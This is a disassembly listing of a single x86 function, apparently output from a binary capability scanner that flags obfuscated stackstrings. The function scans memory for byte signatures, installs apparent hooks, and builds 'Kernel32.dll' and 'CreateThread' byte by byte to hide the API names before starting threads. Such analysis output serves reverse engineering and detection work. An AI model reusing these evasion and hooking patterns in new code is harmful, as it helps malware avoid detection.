Function at 0x100027ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
push edi
push ebx
mov dword [ebp - 4], ebx
call fcn.100071c2
mov esi, eax
push esi
call fcn.100071db
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x10002d9c
cmp esi, ebx
je 0x10002d9c
or byte [ebp - 0x3a], 0xff
push 2
lea eax, [ebp - 0x3c]
push 7
push eax
push edi
push esi
mov byte [ebp - 0x3c], 0x8b
mov byte [ebp - 0x3b], 0x10
mov byte [ebp - 0x39], 0x52
mov byte [ebp - 0x38], 8
mov byte [ebp - 0x37], 0x8b
mov byte [ebp - 0x36], 0xc7
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x1000281b
mov eax, dword [eax + esi + 0xd]
inc eax
mov dword [0x1000a93c], eax
jmp 0x10002821
mov dword [0x1000a93c], ebx
or byte [ebp - 0x48], 0xff
push ebx
lea eax, [ebp - 0x48]
push 0xb
push eax
push edi
push esi
mov byte [ebp - 0x47], 0x75
mov byte [ebp - 0x46], 0xc
mov byte [ebp - 0x45], 0x8d
mov byte [ebp - 0x44], 0x45
mov byte [ebp - 0x43], 0xf8
mov byte [ebp - 0x42], 0xba
mov byte [ebp - 0x41], 5
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], bl
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002869
add eax, esi
mov dword [0x1000a8e0], eax
jmp 0x10002876
mov dword [ebp - 4], 1
mov dword [0x1000a8e0], ebx
push ebx
lea eax, [ebp - 0xc]
push 5
push eax
push edi
push esi
mov byte [ebp - 0xc], 0x8a
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 9
mov byte [ebp - 9], 0x8a
mov byte [ebp - 8], 3
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x100028ab
lea eax, [eax + esi + 0xa]
mov dword [0x1000a8c0], eax
jmp 0x100028b4
inc dword [ebp - 4]
mov dword [0x1000a8c0], ebx
cmp dword [0x1000a940], ebx
mov byte [ebp - 0x2c], 0x8a
mov byte [ebp - 0x2b], 0x94
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0xde
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x26], bl
jne 0x100028d9
mov byte [ebp - 0x29], 0xd6
push ebx
lea eax, [ebp - 0x2c]
push 7
push eax
push edi
push esi
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x100028f8
add eax, esi
mov dword [0x1000a8f0], eax
jmp 0x10002901
inc dword [ebp - 4]
mov dword [0x1000a8f0], ebx
cmp dword [0x1000a940], ebx
mov byte [ebp - 0x34], 0x8b
mov byte [ebp - 0x33], 0x84
mov byte [ebp - 0x32], 0xb7
mov byte [ebp - 0x31], 0xc
mov byte [ebp - 0x30], 1
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], bl
jne 0x10002927
mov byte [ebp - 0x31], 4
push 1
lea eax, [ebp - 0x34]
push 7
push eax
push edi
push esi
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002947
add eax, esi
mov dword [0x1000a8d4], eax
jmp 0x10002950
inc dword [ebp - 4]
mov dword [0x1000a8d4], ebx
mov eax, dword [0x1000a940]
cmp eax, 1
je 0x100029a7
push 7
cmp eax, ebx
mov byte [ebp - 0x20], 0x89
mov byte [ebp - 0x1f], 0x90
mov byte [ebp - 0x1e], 0xf4
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], bl
pop ecx
jne 0x1000297d
push 2
mov byte [ebp - 0x1e], 0xf8
pop ecx
push ecx
lea eax, [ebp - 0x20]
push 6
push eax
push edi
push esi
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x1000299c
add eax, esi
mov dword [0x1000a8d8], eax
jmp 0x100029a2
mov dword [0x1000a8d8], ebx
mov eax, dword [0x1000a940]
or byte [ebp - 0x53], 0xff
push 7
cmp eax, 1
pop ecx
mov byte [ebp - 0x54], 0x64
mov byte [ebp - 0x52], 0x30
mov byte [ebp - 0x51], 0x64
mov byte [ebp - 0x50], 0x89
mov byte [ebp - 0x4f], 0x20
mov byte [ebp - 0x4e], 0x8d
mov byte [ebp - 0x4d], 0x45
mov byte [ebp - 0x4c], 0xfc
mov byte [ebp - 0x4b], 0x8b
mov byte [ebp - 0x4a], 0xd6
jne 0x100029df
push 0xe
jmp 0x10002a03
cmp eax, 2
jne 0x100029e8
push 0xa
jmp 0x10002a03
cmp eax, ebx
jne 0x100029fc
xor ecx, ecx
cmp dword [0x10009024], ebx
setne cl
add ecx, 6
jmp 0x10002a04
cmp eax, 3
jne 0x10002a04
push 9
pop ecx
push ecx
lea eax, [ebp - 0x54]
push 0xb
push eax
push edi
push esi
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002a23
add eax, esi
mov dword [0x1000abec], eax
jmp 0x10002a2c
inc dword [ebp - 4]
mov dword [0x1000abec], ebx
cmp dword [0x10009024], ebx
je 0x10002a8f
mov eax, dword [0x1000a940]
push 2
pop ecx
cmp eax, ecx
je 0x10002a8f
cmp eax, 3
je 0x10002a8f
cmp eax, 1
mov byte [ebp - 0x20], 0x8d
mov byte [ebp - 0x1f], 0x55
mov byte [ebp - 0x1e], 0xf4
mov byte [ebp - 0x1d], 0x8b
mov byte [ebp - 0x1c], 0x4d
mov byte [ebp - 0x1b], 8
jne 0x10002a65
push 4
pop ecx
push ecx
lea eax, [ebp - 0x20]
push 6
push eax
push edi
push esi
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002a84
add eax, esi
mov dword [0x1000ad48], eax
jmp 0x10002adb
inc dword [ebp - 4]
mov dword [0x1000ad48], ebx
jmp 0x10002adb
push 2
lea eax, [ebp - 0x20]
push 9
push eax
push edi
push esi
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x8b
mov byte [ebp - 0x1e], 0xd8
mov byte [ebp - 0x1d], 0x8b
mov byte [ebp - 0x1c], 0x83
mov byte [ebp - 0x1b], 0xdc
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], bl
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002ad2
lea eax, [eax + esi + 3]
mov dword [0x1000abf4], eax
jmp 0x10002adb
inc dword [ebp - 4]
mov dword [0x1000abf4], ebx
push 1
lea eax, [ebp - 0x14]
push 5
push eax
push edi
push esi
mov byte [ebp - 0x14], 0x8b
mov byte [ebp - 0x13], 0x13
mov byte [ebp - 0x12], 0x89
mov byte [ebp - 0x11], 0x42
mov byte [ebp - 0x10], 0x78
call fcn.100071fe
add esp, 0x14
cmp eax, 0xffffffff
je 0x10002b0f
add eax, esi
mov dword [0x1000aa14], eax
jmp 0x10002b18
inc dword [ebp - 4]
mov dword [0x1000aa14], ebx
cmp dword [ebp - 4], ebx
jne 0x10002d9c
mov eax, dword [0x1000a940]
cmp eax, 1
jne 0x10002b58
mov dword [0x1000902c], 0x590f8c
mov dword [0x1000900c], 0xde
mov dword [0x10009010], 0x10c
mov dword [0x10009014], 0xbc
jmp 0x10002bf1
cmp eax, 2
jne 0x10002b69
mov dword [0x1000902c], 0x5dd724
jmp 0x10002bdd
cmp eax, ebx
jne 0x10002bf1
cmp dword [0x1000ad38], ebx
mov dword [0x1000902c], 0x5b0b8c
mov dword [0x1000900c], 0xd6
mov dword [0x10009010], 0x104
mov dword [0x10009014], 0xb4
mov dword [0x10009018], 0x78
mov dword [0x1000901c], 0x5b5578
mov dword [0x10009020], 0xf8
jne 0x10002bdd
mov dword [0x10009020], 0xf4
mov dword [0x1000902c], 0x5b0b5c
mov dword [0x1000901c], 0x5b1304
push 6
push dword [0x1000a8d8]
call fcn.100012dd
pop ecx
mov dword [0x1000a8e8], eax
pop ecx
push 3
push dword [0x1000a8e0]
call fcn.100012dd
push 7
mov dword [0x1000a904], eax
push dword [0x1000a8f0]
call fcn.100012dd
push 7
mov dword [0x1000a8fc], eax
push dword [0x1000a8d4]
call fcn.100012dd
mov ecx, dword [0x1000ad34]
add esp, 0x18
mov dword [0x1000a8f4], eax
push ebx
call fcn.10006b43
mov eax, dword [0x1000a940]
push 2
pop ecx
cmp eax, ecx
je 0x10002c4c
cmp eax, 1
je 0x10002c4c
cmp eax, 3
jne 0x10002c4f
push 4
pop ecx
push ecx
push dword [0x1000a8c0]
call fcn.100012dd
pop ecx
mov dword [0x1000a8c4], eax
pop ecx
mov ecx, dword [0x1000ad34]
push ebx
push 0x10003769
push dword [0x1000a8c0]
call fcn.1000697f
mov ecx, dword [0x1000ad34]
push ebx
push 0x1000323f
push dword [0x1000a8e0]
call fcn.1000697f
mov ecx, dword [0x1000ad34]
push ebx
push 0x10003b2e
push dword [0x1000a8f0]
call fcn.1000697f
mov ecx, dword [0x1000ad34]
push ebx
push 0x10003ed1
push dword [0x1000a8d4]
call fcn.1000697f
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.Kernel32.dll
call esi
cmp eax, ebx
je 0x10002d84
push str.CreateThread
push eax
call fcn.100078a2
pop ecx
cmp eax, ebx
pop ecx
je 0x10002d84
push ebx
push ebx
mov edi, 0x10002da4
push ebx
push edi
push ebx
push ebx
call eax
cmp dword [0x1000a940], 3
jne 0x10002d9c
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x4b
push eax
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x64], 0x43
mov byte [ebp - 0x63], 0x72
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 0x61
mov byte [ebp - 0x60], 0x74
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x5e], 0x54
mov byte [ebp - 0x5d], 0x68
mov byte [ebp - 0x5c], 0x72
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], 0x61
mov byte [ebp - 0x59], 0x64
mov byte [ebp - 0x58], bl
call esi
cmp eax, ebx
je 0x10002d84
lea ecx, [ebp - 0x64]
push ecx
push eax
call fcn.100078a2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jne 0x10002d88
xor eax, eax
jmp 0x10002d9f
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x10004043
push ebx
push ebx
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret